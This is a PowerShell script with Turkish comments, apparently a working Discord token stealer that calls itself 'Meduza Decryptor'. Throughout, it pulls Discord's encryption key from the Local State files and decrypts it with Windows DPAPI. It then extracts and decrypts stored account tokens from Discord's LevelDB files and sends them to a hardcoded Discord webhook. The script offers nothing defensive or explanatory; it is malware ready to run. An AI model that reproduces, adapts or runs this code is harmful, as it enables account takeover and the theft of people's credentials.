Add-Type -AssemblyName System.Security $webhook = "https://discord.com/api/webhooks/1573694461165174857/Dnq2_qTdMW3EOubghCfrZxRqRUdPDgFo3tRbtqZTS_bif3oNfLee-hyeXncj-WgmZK9S" $paths = @("$env:APPDATA\discord", "$env:APPDATA\discordcanary", "$env:APPDATA\discordptb") $results = @() # 1. AES Anahtarını Al $localStatePaths = @( "$env:APPDATA\discord\Local State", "$env:APPDATA\discordcanary\Local State", "$env:APPDATA\discordptb\Local State" ) $key = $null foreach ($ls in $localStatePaths) { if (Test-Path $ls) { try { $json = Get-Content $ls -Raw | ConvertFrom-Json if ($json.os_crypt.encrypted_key) { $encKey = [Convert]::FromBase64String($json.os_crypt.encrypted_key) $encKey = $encKey[5..($encKey.Length - 1)] $key = [System.Security.Cryptography.ProtectedData]::Unprotect( $encKey, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ) break } } catch {} } } # 2. LevelDB'den token çek ve çöz if ($key) { foreach ($path in $paths) { $leveldbPath = Join-Path $path "Local Storage\leveldb" if (Test-Path $leveldbPath) { Get-ChildItem -Path $leveldbPath -Filter "*.ldb" -ErrorAction SilentlyContinue | ForEach-Object { $content = [System.IO.File]::ReadAllBytes($_.FullName) $text = [System.Text.Encoding]::Latin1.GetString($content) $matches = [regex]::Matches($text, 'dQw4w9WgXcQ:([A-Za-z0-9+/=]+)') foreach ($m in $matches) { $encToken = $m.Groups[1].Value try { $tokenBytes = [Convert]::FromBase64String($encToken) if ($tokenBytes.Length -lt 32) { throw "Geçersiz veri uzunluğu: $($tokenBytes.Length) bayt" } $nonce = $tokenBytes[3..14] $ciphertext = $tokenBytes[15..($tokenBytes.Length - 17)] $tag = $tokenBytes[($tokenBytes.Length - 16)..($tokenBytes.Length - 1)] $aes = New-Object System.Security.Cryptography.AesGcm($key) try { $decryptedBytes = New-Object byte[] $ciphertext.Length $aes.Decrypt($nonce, $ciphertext, $tag, $decryptedBytes) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedBytes) $results += $decryptedToken } finally { $aes.Dispose() } } catch { $results += "FAILED_DECRYPT ($($_.Exception.Message))" } } } } } } # 3. Webhook'a gönder $results = $results | Select-Object -Unique if ($results.Count -gt 0) { $payload = @{ content = "**Decrypted Tokens:**`n``````n" + ($results -join "`n") + "`n``````" username = "Meduza Decryptor" } | ConvertTo-Json -Depth 3 Invoke-RestMethod -Uri $webhook -Method Post -Body $payload -ContentType "application/json; charset=utf-8" } else { $payload = @{ content = "**Status:** Key not found or no matching entries found.`nTokens found: 0" username = "Meduza Decryptor" } | ConvertTo-Json -Depth 3 Invoke-RestMethod -Uri $webhook -Method Post -Body $payload -ContentType "application/json; charset=utf-8" }